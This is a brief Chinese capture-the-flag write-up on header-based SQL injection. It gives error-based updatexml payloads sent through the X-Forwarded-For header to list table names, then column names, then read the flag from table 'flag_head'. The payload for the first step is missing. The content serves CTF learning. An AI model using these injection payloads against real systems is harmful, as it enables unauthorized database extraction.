head注入（三）

这道题目需要自己添加头部 xff（X-Forwarded-For)
首先爆出库名为

然后再爆出表名
‘or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#

然后就是爆出列名
‘or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=”flag_head”)),1),1)#

最后查询即可
X-Forwarded-For: ‘or updatexml(1,concat(0x7e,(select flag_h1 from flag_head)),1),1)#
即可得出flag